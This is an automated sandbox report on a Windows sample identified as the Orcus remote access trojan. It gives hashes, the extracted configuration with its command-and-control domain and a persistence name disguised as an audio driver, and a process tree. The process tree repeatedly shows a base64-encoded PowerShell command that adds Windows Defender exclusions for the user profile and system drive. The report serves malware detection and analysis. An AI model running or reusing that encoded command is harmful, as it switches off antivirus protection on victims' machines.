orcus | 4a513270a4d7e85bdc8dfe9adea3b190cfc055e562060c2be9389336333864a0

Analysis

max time kernel
7s
max time network
218s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
07-01-2025 03:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GHOSTYFN.exe
Size

6.1MB
MD5

73c7cc676ab19d426f2745ef261d6349
SHA1

f217a78eb2beddcbf5bb00c229a96f9ffaa98a0d
SHA256

4a513270a4d7e85bdc8dfe9adea3b190cfc055e562060c2be9389336333864a0
SHA512

40f69adef5b8de42283ff0539cf0f0259ed9d23baa4e87c63e594fe12ca7f35e73dc3a0d6a66dd13a584d0e1569940026bc49d41f95a1f23c0c3fd810613ad36
SSDEEP

98304:BwalpQAdxjrQaMQZZV4g0rvnkVKg9JmcDiCwGDz+Uog9XhhFyoL:JjTrusV4fvuH938Sn9X9t

Score

10^/10

orcus defense_evasion discovery rat spyware stealer

Malware Config

Extracted

Family

orcus

another-contains.gl.at.ply.gg

Mutex

a49af69032c94d6fa7c0d2639d32f038

Attributes

administration_rights_required
false
anti_debugger
false
anti_tcp_analyzer
false
antivm
false
autostart_method
1
change_creation_date
false
force_installer_administrator_privileges
false
hide_file
false
install
false
installation_folder
%appdata%\Microsoft\Speech\AudioDriver.exe
installservice
false
keylogger_enabled
false
newcreationdate
12/24/2024 02:03:43
plugins
AgUFyOzBvwKV1wLetwKoxrcNilV/bBUKRwBhAG0AZQByACAAVgBpAGUAdwAHAzEALgAyAEEgYgA2ADkAZgA0ADUAZQBiADYANgAxADYANAA2ADAAZgA5AGUAMQAwADIAMgBkADcANwA3ADMAMABmADAANwAzAAIAAAACAg==
reconnect_delay
10000
registry_autostart_keyname
Audio HD Driver
registry_hidden_autostart
false
set_admin_flag
false
tasksch_name
Audio HD Driver
tasksch_request_highest_privileges
false
try_other_autostart_onfail
false

aes.plain

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus
Orcus family
orcus

Checks computer location settings 2 TTPs 10 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	spoof.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4084745894-3294430273-2212167662-1000\Control Panel\International\Geo\Nation	GHOSTYFN.exe

Executes dropped EXE 10 IoCs

pid	Process
2476	spoof.exe
3544	spoof.exe
1636	spoof.exe
2104	spoof.exe
4156	AudioDriver.exe
3972	spoof.exe
4400	spoof.exe
4464	spoof.exe
984	spoof.exe
4324	spoof.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
6820	4156	WerFault.exe	100
9032	4156	WerFault.exe	100

System Location Discovery: System Language Discovery 1 TTPs 27 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AudioDriver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GHOSTYFN.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
956	powershell.exe
4288	powershell.exe
2020	powershell.exe
956	powershell.exe
4288	powershell.exe
3100	powershell.exe
3100	powershell.exe
2020	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
3100	powershell.exe
1116	powershell.exe
1116	powershell.exe
420	powershell.exe
420	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 956	3036	GHOSTYFN.exe	84
PID 3036 wrote to memory of 956	3036	GHOSTYFN.exe	84
PID 3036 wrote to memory of 956	3036	GHOSTYFN.exe	84
PID 3036 wrote to memory of 3652	3036	GHOSTYFN.exe	86
PID 3036 wrote to memory of 3652	3036	GHOSTYFN.exe	86
PID 3036 wrote to memory of 3652	3036	GHOSTYFN.exe	86
PID 3036 wrote to memory of 2476	3036	GHOSTYFN.exe	87
PID 3036 wrote to memory of 2476	3036	GHOSTYFN.exe	87
PID 3036 wrote to memory of 2476	3036	GHOSTYFN.exe	87
PID 3652 wrote to memory of 4288	3652	GHOSTYFN.exe	88
PID 3652 wrote to memory of 4288	3652	GHOSTYFN.exe	88
PID 3652 wrote to memory of 4288	3652	GHOSTYFN.exe	88
PID 3652 wrote to memory of 3104	3652	GHOSTYFN.exe	138
PID 3652 wrote to memory of 3104	3652	GHOSTYFN.exe	138
PID 3652 wrote to memory of 3104	3652	GHOSTYFN.exe	138
PID 3652 wrote to memory of 3544	3652	GHOSTYFN.exe	127
PID 3652 wrote to memory of 3544	3652	GHOSTYFN.exe	127
PID 3652 wrote to memory of 3544	3652	GHOSTYFN.exe	127
PID 3104 wrote to memory of 2020	3104	GHOSTYFN.exe	92
PID 3104 wrote to memory of 2020	3104	GHOSTYFN.exe	92
PID 3104 wrote to memory of 2020	3104	GHOSTYFN.exe	92
PID 3104 wrote to memory of 2396	3104	GHOSTYFN.exe	94
PID 3104 wrote to memory of 2396	3104	GHOSTYFN.exe	94
PID 3104 wrote to memory of 2396	3104	GHOSTYFN.exe	94
PID 3104 wrote to memory of 1636	3104	GHOSTYFN.exe	95
PID 3104 wrote to memory of 1636	3104	GHOSTYFN.exe	95
PID 3104 wrote to memory of 1636	3104	GHOSTYFN.exe	95
PID 2396 wrote to memory of 3100	2396	GHOSTYFN.exe	96
PID 2396 wrote to memory of 3100	2396	GHOSTYFN.exe	96
PID 2396 wrote to memory of 3100	2396	GHOSTYFN.exe	96
PID 2396 wrote to memory of 2848	2396	GHOSTYFN.exe	98
PID 2396 wrote to memory of 2848	2396	GHOSTYFN.exe	98
PID 2396 wrote to memory of 2848	2396	GHOSTYFN.exe	98
PID 2396 wrote to memory of 2104	2396	GHOSTYFN.exe	375
PID 2396 wrote to memory of 2104	2396	GHOSTYFN.exe	375
PID 2396 wrote to memory of 2104	2396	GHOSTYFN.exe	375
PID 2476 wrote to memory of 4156	2476	spoof.exe	100
PID 2476 wrote to memory of 4156	2476	spoof.exe	100
PID 2476 wrote to memory of 4156	2476	spoof.exe	100
PID 2848 wrote to memory of 2916	2848	GHOSTYFN.exe	324
PID 2848 wrote to memory of 2916	2848	GHOSTYFN.exe	324
PID 2848 wrote to memory of 2916	2848	GHOSTYFN.exe	324
PID 2848 wrote to memory of 4632	2848	GHOSTYFN.exe	103
PID 2848 wrote to memory of 4632	2848	GHOSTYFN.exe	103
PID 2848 wrote to memory of 4632	2848	GHOSTYFN.exe	103
PID 2848 wrote to memory of 3972	2848	GHOSTYFN.exe	104
PID 2848 wrote to memory of 3972	2848	GHOSTYFN.exe	104
PID 2848 wrote to memory of 3972	2848	GHOSTYFN.exe	104
PID 4632 wrote to memory of 1116	4632	GHOSTYFN.exe	105
PID 4632 wrote to memory of 1116	4632	GHOSTYFN.exe	105
PID 4632 wrote to memory of 1116	4632	GHOSTYFN.exe	105
PID 4632 wrote to memory of 4540	4632	GHOSTYFN.exe	106
PID 4632 wrote to memory of 4540	4632	GHOSTYFN.exe	106
PID 4632 wrote to memory of 4540	4632	GHOSTYFN.exe	106
PID 4632 wrote to memory of 4400	4632	GHOSTYFN.exe	107
PID 4632 wrote to memory of 4400	4632	GHOSTYFN.exe	107
PID 4632 wrote to memory of 4400	4632	GHOSTYFN.exe	107
PID 4540 wrote to memory of 420	4540	GHOSTYFN.exe	109
PID 4540 wrote to memory of 420	4540	GHOSTYFN.exe	109
PID 4540 wrote to memory of 420	4540	GHOSTYFN.exe	109
PID 4540 wrote to memory of 4476	4540	GHOSTYFN.exe	110
PID 4540 wrote to memory of 4476	4540	GHOSTYFN.exe	110
PID 4540 wrote to memory of 4476	4540	GHOSTYFN.exe	110
PID 4540 wrote to memory of 4464	4540	GHOSTYFN.exe	633

C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
"C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
  "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3652
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4288
- - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
    "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3104
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2020
  - - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
      "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2396
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3100
    - - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2848
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2916
      - C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4632
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1116
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4540
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:420
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        8⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2292
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4676
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        10⤵
        
        PID:4584
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        10⤵
        
        PID:1252
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        11⤵
        
        PID:720
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        11⤵
        
        PID:1876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        12⤵
        
        PID:3544
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        12⤵
        
        PID:4784
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        13⤵
        
        PID:4876
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        13⤵
        
        PID:1968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        14⤵
        
        PID:1964
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:3104
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        14⤵
        
        PID:4548
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        15⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        15⤵
        
        PID:5276
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        16⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        16⤵
        
        PID:5688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        17⤵
        
        PID:5992
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        17⤵
        
        PID:6020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        18⤵
        
        PID:5540
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        18⤵
        
        PID:5352
        
